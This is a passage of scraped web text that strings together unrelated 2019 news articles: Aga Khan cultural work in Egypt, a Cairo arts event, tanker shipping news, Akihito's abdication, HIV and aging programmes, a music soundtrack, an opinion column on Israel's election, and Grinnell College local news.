circus arts, theatre, and music particularly brass and percussion instruments. To date the school has brought to light many remarkable performers whose lives have drastically improved thanks to the methodology implemented by AKMI. With the recent closing of the El Genaina Company, we are yet to discover new plans laid for the Al-Darb Al-Ahmar Arts School. Al Azhar Park and Al-Darb Al-Ahmar Arts School will be known to some if not all readers, but there is also the Aga Khan Historic Cities Programme (AKHCP), an agency which conducts urban regeneration projects in historic centres and has led many valuable restoration interventions in Cairo and beyond. In Al-Darb Al-Ahmar alone, AKDN launched the Urban Regeneration Programme which included the conservation of seven historic monuments in the area (including the 14-century Amir Aqsunqurs Blue Mosque), excavation of one archaeological site, rehabilitation and/or reconstruction of over 120 houses, pavement of 5,500m of streets, installation of 3.1 km of underground sewage systems, etc). The Om Habibeh Foundation in Aswan, the southernmost governorate, was established in 1991 by the AKDN with the aim of supporting the social and economic development of disadvantaged communities. An Egyptian not-for-profit organisation, the Foundation empowers local capacity to advance education and income generation initiatives, reads the AKDNs website, adding that to date the OHFs long-term development programme has reached over 80,000 people in the Aswan governorate. In the cultural sector of Aswan region, in 2017, the Aga Khan Music Initiative and the Aga Khan Foundation, in partnership with Om Habibeh Foundation as well as the University of Alberta in Canada, also began working on the Aswan Music Project. The project aims to promote musical participation, musical development and cultural continuity by encouraging interest in Aswans traditional artistic heritage, especially through musical training of teachers, children and youth. Those are only some examples of the many activities that the Aga Khan Development Network carries on its shoulders in Egypt and a drop in the ocean of its agencies operating across the Middle East, North Africa and South Asia. The AKDNs website sets out more about the networks activities: The Aga Khan Foundation brings together human, financial and technical resources to address some of the challenges faced by the poorest and most marginalised communities in the world. Special emphasis is placed on investing in human potential, expanding opportunity and improving the overall quality of life, especially for women and girls. It works primarily in six areas: Agriculture and Food Security; Economic Inclusion; Education; Early Childhood Development; Health and Nutrition; and Civil Society. Culture is definitely one of the tools binding those communities together and helping them. * A version of this article appears in print in the 18 April 2019 edition of Al-Ahram Weekly under the headline: Heroes of Sound. For more arts and culture news and updates, follow Ahram Online Arts and Culture on Twitter at @AhramOnlineArts and on Facebook at Ahram Online: Arts & Culture Search Keywords: Short link: Sorry, the article you have requested is no longer available. The launch, held on 20 April, inaugurated a new project that curates up-and-coming Egyptian artistic and musical talents and offers audiences an exciting new way to appreciate their work Stepping into Startup Haus on 20 April to attend Oksoundsgood was like crossing through a portal to another world. The coworking space overlooks an open-air courtyard belonging to a building in one of Downtown Cairos busiest streets, and that sense of space in a dense neighbourhood makes it feel like an air bubble. Its also what organisers of the pop-up event hoped to achieve: to give diverse artists and musicians an open space for expression, and to show audiences something refreshing. Musician and business graduate Eslam Salem, director and co-founder of Oksoundsgood, along with Moamen Sahmoud, sought to fill a gap by creating something between DJ events, regular music concerts, and beach/desert festivals like Cloud 9 or the now-discontinued Oshtoora. There was nothing exactly like what we wanted to do, so we didnt have a clear point of reference, but we knew there was a demand for it and it certainly had its audience. When we spoke to other people and collaborators it all started to shape itself more clearly, Salem told Ahram Online. Armed with their imagination and a clear vision, they set off to create something they themselves would be excited to attend: a mix of ingredients from local events, ones abroad, and something they hadnt yet experienced. Our own experiences as concert- and festival-goers became our reference, he added. We borrowed the festival vibe, but our main focus was to create something that blended music with visual art, and to highlight unique artists that we saw doing something no one else was. Weaving sound and light An essential thread in the multidisciplinary fabric of Oksoundsgood was the video art of Mohamed Nour, an experience designer whose contribution linked the musical and visual elements together. Throughout the events three music performances, Nour was orchestrating live animations and graphics that were projected in two different places: one behind the music stage, and another, higher one above the main courtyard on the side of a neighbouring building. From the top floor of Startup Haus, or on the staircase, we were treated to a vertical panorama of all these visual elements at play. Nours work was a wild visual treat, taking us through surreal urban narratives, dynamic waves of colour and shifting geometric shapes, to different styles of animation featuring people, animals, floating eyes and lips, and much more. My material is a mixture of found footage and scenes Ive shot, all prepared before the show. But for the most part Im improvising live and responding to the music as it happens, Nour said. Having a double major in music and art, Nours academic background helps him translate the musical essence of each performer into mesmerising visuals. For part of Ali Baghdadys set, he used footage of Egyptian street scenes mixed with abstract neon shapes, colour leaks and glitch effects. It was an effortless capture of Baghdadys layered music that weaved his heritage into contemporary and Western tunes, by mixing his oud and Arabic poetry with electronic music and hip hop. He then gave Omar Abdelhadys solo set a new dimension, matching the electronica and lush guitar ambience with some clips of a mysterious desert odyssey that melted in and out of other narratives. The Chicken Came Firsts closing set was at one point paired with a post-apocalyptic animation of rabbits at war, and journeys into alternative universes or futures, sometimes played in reverse. It made the grand sounds of the post-rock band all the more powerful, and highlighted the narrative aspect of their tracks. The space to experiment Aside from offering novelty, Oksoundsgood's core mission is to support underground artists of different mediums. It was designed around a respect for artists, providing space for them to express themselves unbounded. I think its rare to see an underground band with a projected screen of visuals for example. I also believe that when people find a platform to present themselves they will be encouraged to work and create more, Salem added. In the words of Baghdady, the event succeeded in making the artists feel part of something bigger. The surrounding artworks, the lights, and the location, while being among other artists doing their thing, it all makes you feel like youre a piece in the puzzle, not just the centre of attention, he said. He started focusing full-time on his project a year ago, training with oud player Hazem Shahine, as well as Rashad Fahim, the renowned jazz theory instructor. Both interactions were pivotal for me in merging the different [musical] worlds. I still feel I didnt do all the knowledge I acquired justice, he said. Oksoundsgood became a step in that direction, spurring him to write new music and poetry in preparation for the concert. About 80 percent of what I played were new tracks. I also got the chance to experiment with my workflow and changed how I perform on stage, he explained. He had previously been using playback of his compositions with his live performance of oud and vocals. This time I wasnt in control of the music, but it was a more integrated experience, he says about his shift from playback to a live set, and embracing the challenges of real time production. For artist Nada Mergawi, the events support gave her a chance to work on a mural she was saving for the right time. The mural depicts a young girl walking among planets and twinkling stardust, in the company of a blindfolded bear cub, and was inspired by an already unusual and surreal photo taken of her mother in Greece 30 years ago. I didnt know when I would get the chance to turn it into a mural, until they called me for this event and I just felt it really suited it, Mergawi told Ahram Online. Her usual palette of blues and purples, with figures and creatures roaming mysterious galaxies, matched the events theme and vision. But this seamless fit is not what made it a unique experience for her. The vibes of the event were different, and the freedom I had with my work was special. They only showed me the palette and let me do whatever I wanted. I had no barriers for what to do. It felt like me. Perhaps the only weak link in the curating was the placement of the art installation by El-Warsha. While the wooden arch that held the string art echoed the vibe of the event, it was placed on the sidelines like an afterthought, and invited little interaction from the crowd. A springboard With the interplay between the different art forms, concert lights and music performances, Oksoundsgood felt like more than the sum of its parts, inspiring creativity and connection between different creative genres. The more I heard about their vision, I started to realise how all their choices would make a difference and how it would all come together, says Mergawi, adding that for her Oksoundsgood went from just another mural to a unique experience she felt connected to. Everyone is investing everything, and its a chance to experiment freely - when youre surrounded by people doing that in different mediums, it really pumps you up, Baghdady commented. At the end of the concert, Salem and his partners announced an open call for creatives to get in touch with projects or ideas for coming editions of Oksoundsgood. While some artists and entities have reached out to collaborate, Salem expects they will still be scouting for talents and curating the event, or mixing both methods, especially as they build momentum for the next event. Their ultimate vision is to act as a springboard for underground bands and artists, supporting them creatively and financially as they move to the next level. We hope it will grow to become like a stamp of approval if a band or artist is featured with us, said Salem. For more arts and culture news and updates, follow Ahram Online Arts and Culture on Twitter at @AhramOnlineArts and on Facebook at Ahram Online: Arts & Culture Search Keywords: Short link: Indian training centre receives Kongsberg simulator Kongsberg Digital (KDI) has completed the delivery, installation, site acceptance test and handover of a K-Sim full mission engine simulator, configured to a MAN main engine, to The Institute of Marine Engineers (IMEI) in India. The simulator was installed in IMEIs head office and training centre in Mumbai, India in February, to prepare post-sea marine engineers for their Certificate of Competency examination, conducted by Indias Directorate General of Shipping. K-Sim Engine simulators enable instructors to construct exercises covering all processes and techniques to do with the smooth running of an engine room, ranging from manoeuvring, boiler/turbine operation and control loop optimising to fault diagnosis and crisis management. Completing the delivery aspects of the contract is a key milestone in our partnership with IMEI, which will continue for many years as we deliver updates and upgrades through our long term system support programme, says Erik Hovland, Vice President Strategic Projects, Kongsberg Digital. This is an important and strategic contract in a exciting market. India will continue to deliver a substantial number of seafarers, many of whom will be trained on K-Sim simulators. Kongsberg Digital has focused on developing and delivering a simulator model which most exactly replicates the engine control system (ECS) on board. The simulators engine control system facilitates monitoring and control of starting air valves, governor functions, aux blowers, fuel injection, exhaust valves and cylinder lubricators. The main operator panel (MOP) displays are based on MANs own MOP displays. Further, to enable low emission operation, fuel tanks for low sulfur HFO, as well as exhaust gas scrubbers, are included in the model. Through K-Sim Engine, IMEI trainees will gain a deep understanding of the MAN ME intelligent engine as well as KONGSERGs control system, since the main engine remote control is based on the companys AutoChief 600 control system, the company said. Liabilities under new Turkish Straits rules Skuld P&I Club has issued a reminder of the changes to the rules governing Turkish Straits transits, which came into effect on 1st September, 2018. Where they affect tankers, the new rules state - *The maximum stopover period to maintain an in transit status was increased from 48 hours to 168 hours. *Salvage operations shall now only be carried out by the relevant port authority ex officio and no time will be granted to the vessel for the salvage by her own means. *Vessels are not be permitted to get closer than 100 m to bridge piers/legs in the Straits. *Any vessel suffering a malfunction/lost technical competence/become unseaworthy before entering the Straits or while passing through the Marmara Sea, shall immediately notify the Harbour Master and be inspected either by the Harbour Authorities or an approved class and then will be allowed to continue her voyage only upon obtaining permission from them. If it is deemed necessary, she will be obligated to pass the Straits with the use of pilotage services. *Rules for passage of the Bosphorus Strait all tankers and vessels that are carrying dangerous cargo with an LOA of 200 m or more and/or deep draft vessels shall transit the Straits during day time only. Under the new regulations it is highly recommended that such vessels should perform their transit under the pilot assistance and with tug escorts, which will be determined by the VTS Centre. *Rules for Dardanelles Strait passage whether full or empty, all tankers with a LOA of 200 m or more , vessels carrying IMDG Code 1 with a LOA of 200 m or more and deep draft vessels shall perform their passages during daylight only; all tankers with a LOA of 250 m and longer, and vessels carrying dangerous cargo are highly recommended to perform their passage under pilotage assistance and with tug escorts, which again will be determined by the VTS Centre. *Vessels are not allowed to overtake another vessel while passing under the three bridges in the Turkish Straits and should not come closer than 100 m to the bridges legs. *In addition, measures have been introduced that limit the place and duration of meetings with local agents. The Turkish authorities have also increased marine pollution penalties by a factor of three. Skuld recommended that Masters, managers, owners and seafarers take extra diligence and precautions to avoid large fines. At the end of last year and in early 2019, it was reported that the new regulations were causing significant delays in the area, particularly for vessels longer than 250 m and large tankers. In response to the new regulations, the Worldscale Association amended rates for voyages involving Bosporus Strait transits. Further, it was reported that delays were reducing the list of vessels able to make use of the Straits, thus helping owners' earnings. Despite the range of new regulations and penalties described above, the good news for shipowners is that the Turkish authorities continue to monitor the position and respond to problems. For example, in March of this year it was announced that the Turkish Ministry of Transport was devising measures to smooth traffic flows, including allowing tankers to enter the Dardanelles at six mile intervals, which means one ship transiting every 35 to 40 minutes as opposed to every 60 minutes, Skuld explained. Markets - VLCCs barely covering OPEX The VLCC resurgence in recent weeks turned out to be short lived. After last weeks chartering frenzy, with rates improving by the fixture, the market took a turn for the worse again this week. Oil company relets were also marketed en masse, adding to an already populated position list, Fearnleys reported. On Tuesday, MEG/China was logged at WS42.5, yielding a daily return in the low teens, and barely covering OPEX. A further downward risk is evident short term. The Atlantic market fared slightly better, as owner were reluctant to commit to longer employment at current levels. Suezmax owners managed to keep some momentum going in a firmer market leading into the Easter holidays, as charterers rushed to cover stems before the impending prolonged break, TD20 briefly saw returns close to $18,000 per day. However, inevitably tonnage again built as the market stopped for a few days, thus the early part of this week saw rates eroding again. We are around the corner from a predicted impending market recovery at the back end of June and surely this is the last chance for charterers to gain control in a downward direction for a while, the shipbroker said. Elsewhere, Aframaxes trading in the North Sea and Baltic enjoyed a pre-Easter fixing rush. On the back of this activity, coupled with some injection stems ex Baltic, rates improved by about WS10 points overall. After the Easter break, the market turned quiet again. In the short term, rates will at best move sideways. However, we expect activity to pick up again moving into the next fixing window and we could see a firmer market. The Mediterranean and Black Sea market moved sideways during the past week, as several offices were closed for the Easter holidays. TD19 (Cross-Med) hovered around WS77.5 to WS80 levels. Charterers activity peaked at the beginning of this week, but although cargoes were entering the market, owners optimism was short lived, as there were still enough prompts ships around to take the steam out of the situation. Charterers will still enjoy the luxury of seeing several prompt ships available for cross Med voyages in the week to come and we expect rate levels to remain stable, Fearnleys concluded. In other news, Klaveness Combination Carriers has reportedly signed a Contract of Affreightment (COA) for its new combination carriers - CLEANBUs. The deal was said to have been signed between the Klaveness subsidiary and an undisclosed Australian importer and distributor of clean petroleum products (CPP). The COA covers multiple cargoes over a period of up to 12 months with commencement in the second quarter 2019. Klaveness took delivery of the first of six CLEANBUs, the 83,600 dwt Baru, from New Yangzi Shipyard in China in January, 2019. The remaining vessels are all due to delivered by October, 2020. Brokers reported that the 2002-built Suezmax Triathlon had been fixed to BP for 12 months at $20,000 per day, while several MRs were reported fixed for varying periods of between six months and two years at rates of between $13,000 and $15,750 per day. In the newbuilding sector, Mitsui OSK Lines (MOL) took delivery of the VLCC Phoenix Jamnagar on 24th April. Built by Japan Marine United Corp (JMU), the 311,798 dwt vessel will be managed by MOLs Singapore-based subsidiary, Phoenix Tankers. The JMU designed MalaccaMax tanker will be primarily employed to ship crude to India under a long-term contract between Phoenix and Reliance Industries. Brokers also reported that Sun Enterprises had ordered two MRs at Hyundai Mipo for $37.5 mill each for delivery next year. In the S&P market, NGM Energy was active, reportedly taking the 2006-built VLCC Nerissa for $31 mill and the two 2001-built Suezmaxes DS Melody and DS Symphony at an undisclosed level. Finally, the 2004-built Aframax Camelia was said to have been bought by Soechi for $14.3 mill. Six tanker crew kidnapped off Bonny Six crew members on board a small products tanker were reported kidnapped by pirates off Nigeria last week. The incident occurred at the Bonny Outer Anchorage on 19th April, 2019, the IMB Piracy Reporting Centre confirmed. The vessel involved was thought to be the Palau flagged 3,100 dwt products tanker Apecus, which was anchored at the time of the attack. The remaining crew was reported safe, the IMB added. Negotiations were underway to release the crew and the The Nigerian Navy was notified. According to Equasis, the 1973-built Apecus is managed by Athens-based Petronav Carriers. This followed another incident involving an anchored tanker off Nigeria on 15th April, according to the IMB, when four persons armed with automatic weapons boarded an undisclosed vessel at Bonny River Inner Anchorage. Nigerian guards on board the vessel returned fire resulting in the boarders escaping. Japan's emperor to abdicate, first time in 200 years Tokyo, April 26 (AFP) Apr 26, 2019 Japan's Emperor Akihito will step down from the Chrysanthemum Throne on Tuesday, the first abdication in the world's oldest imperial family for two centuries, ending 30 years of his popular reign and ushering in a new era. Celebrations are planned across the country as the famously hard-working Japanese enjoy an unprecedented 10-day holiday with a series of special days off combining with the traditional "Golden Week" in May. Akihito's eldest son, 59-year-old Crown Prince Naruhito, will take the throne the following day in a series of solemn ceremonies, receiving the imperial regalia -- an ancient mirror, sword and jewel -- considered crucial evidence of an emperor's legitimacy. The abdication brings down the curtain on the current "Heisei" era, which started in January 1989 at the height of Japan's economic boom, and kicks off a new imperial era called "Reiwa" meaning "beautiful harmony". The popular Akihito, 85, stunned the nation in 2016 when he signalled his desire to take a back seat, citing his age and health problems -- he has been treated for prostate cancer and has also undergone heart surgery. There have been abdications in Japan's long imperial history, which has mythological origins and stretches back more than two millennia, but the last one was more than 200 years ago. - 'Succession crisis' - The status of the emperor is sensitive in Japan given its 20th century history of war waged in the name of Akihito's father Hirohito. Akihito was born in 1933 just as Japan was embarking on its militaristic sweep across Asia, and was 11 when the war ended in defeat. He listened in tears on August 15, 1945 as Hirohito made a radio address -- the first ever by an emperor -- to announce the shock loss. His father was allowed to remain on the throne after Japan's defeat and US occupation, but his status was downgraded from semi-divine sovereign to a figurehead with no political power. For his part, Akihito has embraced the role and tried to use it to help heal the scars of the war while modernising the ancient monarchy for a democratic age with a warmer, popular touch. He and Empress Michiko won widespread plaudits with their reaction to Japan's devastating 2011 earthquake, tsunami and nuclear meltdown, visiting victims in the radioactive Fukushima province just two months after the disaster. The emperor is barred from commenting on politics, but Akihito has over the years hinted at his own anti-nationalist views. He has irritated Japanese right-wingers by acknowledging that his country inflicted "great suffering" in China, and expressing regret over Japan's brutal rule of the Korean peninsula. There is no republican movement to speak of in Japan and the emperor and the royal family enjoy the admiration of the vast majority of the country. But the abdication has reignited concerns about a potential succession crisis. There are no more eligible male heirs after the 12-year-old son of Crown Prince Naruhito's younger brother Akishino. Japan's centuries-old succession would be broken if that son, Hisahito, does not have a male child. The idea of letting women ascend the throne is popular with ordinary Japanese, but it is vehemently opposed by traditionalists. Female royals lose their royal status upon marriage to a commoner, a rule that would apply to Naruhito's only child, Princess Aiko, now age 17. - 'Emperor burger' - Incoming emperor Naruhito faces the delicate task of balancing tradition within the monarchy and his own modern values, including protecting his family from the palace's rigid rules. The 59-year-old heir once criticised the sometimes stifling lifestyle imposed on royals, particularly as his wife Masako has struggled to adapt to imperial life and has long struggled with stress-induced illness. The dawn of a new era has left many Japanese reflecting on the changes since 1989, when the country was a global economic powerhouse dominating the world of technology. Now the country is suffering from sluggish economic growth, an ageing popular and labour shortage and has seen China and South Korea rise up to challenge its economic dominance and reputation for technological innovation. But the new era has refired Japan's entrepreneurial spirit with firms selling everything from commemorative bottles of sake to a Wagyu-beef "emperor burger" worth $900. One canny firm is even selling tins containing "the air of Heisei" -- yours at a snip for $10. This year's SYNChronicity conference, a national meetup on HIV, hepatitis C, sexually transmitted infections, and LGBT health held in Washington, D.C. and hosted by HealthHIV, shined a spotlight on HIV and aging. It even had a designated track dedicated to the subject, "Generational Health," which was novel in that it looked at both building alliances among various ages along with addressing needs of people older than 50, who represent nearly half of all people living and diagnosed with HIV in the U.S. This track of workshops discussed themes of social isolation, lack of social support, stigma, and housing insecurity. These issues, combined with what are considered typical signs of aging like cardiovascular disease, dementia, and mobility, made for in-depth discussion. Most speakers presented research that shows the need for these areas to be addressed. "When we say elders, hopefully that means respect and influence versus old," said Brian Risley, Director of Education and Programs at APLA Health in Los Angeles. Sixty-three percent of APLA's 15,000 patients are at least 50 years old living with HIV. Risley shared research from APLA Health's Healthy Living Project, a study showing a high rate of both physical and mental health challenges in its series of focus groups. The focus groups -- eight in total -- included men who have sex with men (MSM), transgender people, and gender nonconforming people. The focus groups, however sorted by race or ethnicity, confirmed that social isolation is a major roadblock to people living with HIV over 50 achieving improved health outcomes, Risley said. "Older adults with HIV in Los Angeles fall into a significant gap in innovative efforts to address the psychosocial, the social, and the physical health complexities for those aging with HIV," said Risley. "Their needs are definitely immediate and more pressing for us." To address these issues, APLA began the HIV Elders (HIVE) program last July, specifically for MSM of all ethnicities living with HIV who are 50 years or older. HIVE hosts monthly events to tackle social isolation head-on. HIVE uses the social determinants of health framework. The four tenets of HIVE include life skills support, health education, discussion groups, and community building. Topics range from how to manage comorbidities to taking multiple medications at various times of the day. In addition, there is a life skills training dinner every third Thursday of the month. "We try to create programs where they can come out of their houses and participate," Risley said. "We know a lot of people are still self-isolating at all income levels, and we want to try to encourage them to just have some social connection, some peer support." The Elizabeth Taylor 50-Plus Network, based out of the San Francisco AIDS Foundation, is much like HIVE though not exclusively for people living with HIV. The network is comprised of gay, bisexual, and trans men in San Francisco. Vince Crisostomo, program manager of the network, presented at the same session. "We try to foster connection. We look at civic and social engagement and build community," he said. Crisostomo shared anecdotes from the launch of the Elizabeth Taylor 50-Plus Network, which included lessons learned. He spoke about the changes in the community that people aging with HIV have had to face. "At the time [in the early part of the epidemic], the greatest fear in everybody's life was that they were going to die alone with no one to love them and they would be homeless -- because housing is one of the more important issues we face," he said. "That perspective has shifted, and I do believe it's because of social connection." For some, support groups may be needed but not enough to deal with some of the structural issues that living with a chronic illness while aging in a major metropolitan city may bring. George Kerr, III -- a conference attendee and Washington, D.C.based advocate -- offered his perspective, stating that a combined effort to bridge housing needs with solutions for social isolation is necessary. Kerr serves as a board member of the LGBTQ Task Force for the D.C. Department of Aging and Community Living. "I think there's a lot more than support groups that's needed. There's a deeper conversation in building up trust within each other so social isolation can be addressed. There's not enough discussion of what individuals on the grassroots level have to go through," Kerr said. "The two top priorities are housing and social isolation for seniors." For the Elizabeth Taylor 50-Plus Network in San Francisco, aging with escalating rent costs can drive both isolation and poverty among its 60 to 80 active members. According to the U.S. Census, about 34% of the city's population are people at least 50 years old. A 2016 study from the City of San Francisco found that while only 16% of seniors over the age of 60 live below the federal poverty line, an estimated 57% of single senior households and 39% of two-person senior households have inadequate income to meet a basic standard of living, based on the cost of living in one of the most expensive rental markets in the United States. The network tries to address this gap by providing resource navigation, education, financial literacy, community mobilization, and advocacy trainings. Once a month, the network hosts a "coffee chat" where about 50 participants gather and service providers drop in to answer questions and receive feedback from community members. "I also think it's important that you should try to reach people before they slip into isolation, because once they're isolated it's very hard to pull them out," Crisostomo said. Food is an essential component, he added; the program orders enough food so that people may take food home. "It might be rough, but we should do it anyway," Crisostomo concluded. "This is the generation who survived the epidemic. I tell people, 'You can do whatever you want to do, but do you want to do it alone or in company? Most choose company.'" Stay on the top of all the latest markets movements! Subscribe to The Bull free weekly newsletter to receive our best tips, offers and promotion... SUBSCRIBE label BMGNeil Young, Stephen Stills and Eric Clapton are featured on songs that appear on the soundtrack to Echo in the Canyon, a new documentary that focuses on the influential music scene that developed in Los Angeles' Laurel Canyon in the mid-to-late 1960s. The album, which will be released on May 24, features new versions of songs by groups associated with the Laurel Canyon scene -- like The Byrds, Buffalo Springfield, The Mamas & the Papas and The Beach Boys -- recorded by Young, Stills and Clapton. Young contributes to covers of The Beach Boys' "I Just Wasn't Made for These Times" and The Byrds' "What's Happening," while Stills and Clapton trade guitar licks on a rendition of the Buffalo Springfield song "Questions," which Stephen wrote. Younger artists like Jakob Dylan, Beck, Norah Jones, Fiona Apple, Cat Power and Regina Spektor are also included on the soundtrack. Echo in the Canyon was executive-produced by Jakob Dylan, who spearheaded the recording sessions and also conducts interviews throughout the film with Stills, Clapton, the late Tom Petty, Ringo Starr, Brian Wilson, David Crosby, Graham Nash, The Byrds' Roger McGuinn, The Mamas & the Papas' Michelle Phillips and John Sebastian, among others. In addition, Jakob is shown chatting with Beck, Jones, Power and Spektor about the influence those bands had on them. The movie also features in-studio footage of the various songs being recorded, as well as live performances of the tunes captured at a 2015 L.A. concert staged in conjunction with the movie. Echo in the Canyon will get premiere theatrical screenings in L.A. on May 24 and New York City on May 31 before receiving a wider release in June. Here's the full track list of the Echo in the Canyon soundtrack: "Go Where You Wanna Go" -- featuring Jade Castrinos "The Bells of Rhymney" -- featuring Beck "You Showed Me" -- featuring Cat Power "She" -- featuring Josh Homme "In My Room" -- featuring Fiona Apple "Goin' Back" -- featuring Beck "Never My Love" -- featuring Norah Jones "It Won't Be Wrong" -- featuring Fiona Apple "No Matter What You Do" -- featuring Regina Spektor "Questions" -- featuring Jakob Dylan, Stephen Stills "I Just Wasn't Made for These Times" -- featuring Neil Young "Expecting to Fly" -- featuring Regina Spektor "What's Happening" -- featuring Neil Young Copyright 2019, ABC Radio. All rights reserved. The Perspective Atlanta, Georgia April 26, 2019 Prime Minister Netanyahu The result of the Israeli election has demonstrated that the Israeli publics movement to the right is now consolidated and that its prospective reversal to the center and left-of-center is becoming increasingly unlikely. This outcome should give serious pause to every Jew and friend of Israel, as the consequences for Israels future will be extremely dire. It will allow the newly-expected right-wing government led by Netanyahu to take any measure of his choosing to prevent the establishment of a Palestinian state. This will further undermine Israels democratic and Jewish foundation, and put the country on the fast track to self-destruction, obliterating the face of Israel as we know it. To begin with, there has been a steady and continuing nearly unequivocal support of the United States for successive governments throughout Israels existence. The US enablement of Israel, specifically over the last few decades, has allowed centrist and right-wing governments to undertake policies, in particular, the building of new and the expansion of existing settlements, that run contrary to any prospective Israeli-Palestinian peace based on a two-state solution. In this regard, Trumps open-ended support of the Netanyahu government has severely and perilously undermined Israels future security and well-being, which ironically the Trump administration wants to shield. Second, as the Palestinian extremists continue unfortunately to play into the hands of the Israeli right-of-center, it has made it easier for the leaders of the right to make a strong case against the Palestinians, and justify the enforcement of discriminatory policies and the occupation. The building of settlements and the imposition of a massive security apparatus that extends throughout the West Bank and Gaza further diminish the rise of an independent Palestinian state with a contiguous land mass. Third, the Israelis have developed a siege mentality from their historical perspective, as well as from their experience with the Palestinians (especially following the Second Intifada in 2000). As a result, Israel has become increasingly self-reliant on national security matters and suspicious of the Palestinians and the international community on the whole. As such, Israels use of excessive military power to quell Palestinian resistance became routine, and applying harsh measures against the Palestinians in the occupied territories to keep them at bay became the norm. The fourth reason is national security concerns. Israel undoubtedly is the superpower in the region, and theres not a single country (including Iran) or combination of countries that can in fact, now or in the foreseeable future, overwhelm Israel militarily. Nevertheless, Israelis feel vulnerable and insecure, making national security a central theme in any future relations with the Palestinians, which of necessity constrained the extent of concessions the Israelis could make under any peace consideration. The fifth is the growing, if not decisive, the political strength of the settlers, who are now in a strategic position. The settlers, represented by various right-wing parties including Likud, have secure representation, both in the Knesset and the government. No Israeli government would dare to evacuate any significant number of settlers without provoking a major political crisis and even violent resistance that will tear the country apart. Sixth, there is a nearly constant schism between secular Jews and the Orthodox community, which has further diluted the prospect of unity among the Israelis themselves. Moreover, since no single party has been able to acquire an absolute majority, elections always lead to a coalition government, which of necessity has to compromise on significant issues, perhaps other than security. As a result, the discord between the coalition partners to agree on a long-term solution to the conflict with the Palestinians was put on the back burner, which further complicated and made the conflict ever more intractable. The consequences of this election and the certainty of forming a right-wing government led by Netanyahu are hard to exaggerate. To start with, if there had been any small prospect of a two-state solution, it has now practically vanished completely under his watch. This in and of itself will further galvanize Palestinian extremism, which undoubtedly would lead to more frequent violence that could fuel long-term bloodshed between the two sides. Netanyahu and his partners will now have a freer hand to act as he has already been, to diminish the role of the judiciary; violate international conventions, specifically in regards to the occupied territories; implement far harsher methods to solidify the occupation; and certainly open the door for further annexation of significant parts of the West Bank, as Netanyahu promised to do if he were re-elected. There is no doubt that the coalition, regardless of political differences, will stick together to create new, irreversible facts on the ground that will bury the prospect of a two-state solution. Additionally, the recognition of Jerusalem as Israels capital and Israeli sovereignty over the Golan Heights by Trump has rendered a major blow to the prospect of a comprehensive Arab-Israeli peace. Sadly, whereas most of the Arab countries were edging ever closer to Israel in recent years because of their common enemy Iran, the result of these elections will certainly deter further improvement of relations between Israel and Arab states, and Israels regional isolation will only escalate. Moreover, Israels very democracy, which has for past few years been teetering on the edge, is now poised to fall. Last summers Basic Law formally declared Israel to be the nation-state of the Jewish people, which is outright discrimination against Israeli Arabs and other non-Jewish minorities. BDS and other punitive measures against Israel will become a common cause supported by an increasing number of countries around the world. Furthermore, the discord between American Jews in particular and Israel will be far more intense, which will have major repercussions on Jewish unity as the ideological gap between the two sides will only deepen. Diaspora Jewry near-unanimously supports a two-state solution, which they view as the ultimate outcome that provides Israel with security and preserves its Jewish majority and democratic nature. To be sure, Israel will become a de facto apartheid state as it continues to apply different laws to Israelis living within Israel and in the settlements, and a different set of occupation laws that govern the Palestinians, which limits their political freedom and narrows their basic civil rights. Unlike any previous right-wing Israeli government, the formation of a new government under Netanyahu may well be the most decisive and consequential for Israel as we know it. This is nothing short of a turning point in Israels history, as its reactionary, zealous, messianic, and extreme right-wing leaders choose more territory over the future security and prosperity of Israel, forfeiting its democracy and shattering the centuries-old dream of the Jews to establish an independent, free, secure home and live in peace. It is a choice that has put Israel on the fast track toward the abyss. About the Author: Dr. Alon Ben-Meir is a professor of international relations at the Center for Global Affairs at NYU. He teaches courses on international negotiation and Middle Eastern studies. alon@alonben-meir.com Web: www.alonben-meir.com By Papa Kojo Ampim-Darko ampimdar@grinnell.edu A large piece of the facade of the building housing Saints Rest and Bikes to You fell to the ground and shattered on Friday, April 12, leading to the erection of scaffolding and a partial blockage of the sidewalk amid fears that subsequent falling pieces could injure passersby. Sam Cox, a Grinnellian and owner of Saints Rest Coffee Shop, described the damage, saying Pieces of rock and also marble [were] chipping off. A large piece [broke off], hit the ground and shattered. Cox has yet to find out how extensive the damage to the facade is. I think that thats up for debate, I know [the city] is calling in architectural specialists to determine how bad the damage is, she said. In 2016, the City of Grinnell agreed to a deal with architectural firm RDG Planning & Design to restore the facades of 13 different storefronts downtown, including the ones affected by the current issue. With over $1 million in funding from the HUDs Community Development Block Grant program and contributions from the store owners on the street, the project included power washing, masonry repair and renovation of the upper and lower storefront windows, and the addition of new awnings and signage to return the facades to their historic appearance. Cox wondered if these renovations had contributed to the current damage. [Im] not sure whether the damage is from age or if [the power washing] is what is responsible, she said. This seems to be a plausible explanation for the damage, as the U.S. Department of Interior regulations for work on stone facades say that stone should be washed with low or no-power equipment. This has also raised confusion about responsibility for the repair costs. As part of the contract for the facades restoration, the City was also absolved of responsibility for any damage resulting from the project for the next seven years. Everybody shared part of [the] expense, it wasnt [Craig Coopers] decision who the contractor was or what [was done], Cox said. Cooper, owner of Bikes to You and some of the other buildings on the street, declined to comment for this article, as he had turned the matter over to an attorney. Going forward, Cox is worried about the implications of the damage. Currently, parts of the sidewalk that are closest to the affected buildings have been closed off, and scaffolding has been erected above the entrances of the businesses, but without more information about the extent of the damage it is unclear whether these are satisfactory measures. She was worried that this information would not be available soon enough: Im unsure what the timeline is maybe six months, but it may be a lengthier process. This poses some issues for Cox, as Saints Rest is busiest in May and June, and the Colleges Commencement and Reunion necessitate outdoor seating to accommodate increased patronage: Ive been very fortunate this far [to not be affected by the sidewalk blockage], but our busiest months are coming up. We have a lot of events that are hosted outside. If [the] sidewalk is closed, it could be bad. Im a little apprehensive. She hoped that Grinnellians could come together and find a solution to this problem soon. As a community person, or citizen of Grinnell, it would be in everyones interest to work together and not be divided. It affects half the block so it would be best for everyone if this was resolved sooner rather than later, and Im holding out hope for that. By Sarah Licht lichtsar@grinnell.edu This week from Thursday to Sunday, the Grinnell College Dance Ensemble/ACTivate will perform Salt Marsh Suite, an ode to the beauty of the natural environment. The production is directed by Assistant Professor Celeste Miller, theater and dance, with production design by Carol Burch-Brown and tap choreography by Ann Kilkelly, both guest artists and frequent co-collaborators with Miller. Salt Marsh Suite uses a series of large, moveable screens to separate the Flanagan Theater into four sections, creating a completely different experience for audience members de- pending on where they sit. Through- out the piece are screens filled with projections of South Carolina marsh- life filmed by Burch-Brown. All of the materials and the sound and everything was collected from this one location, a little piece of marsh thats not that big, but is just full of all kinds of cool 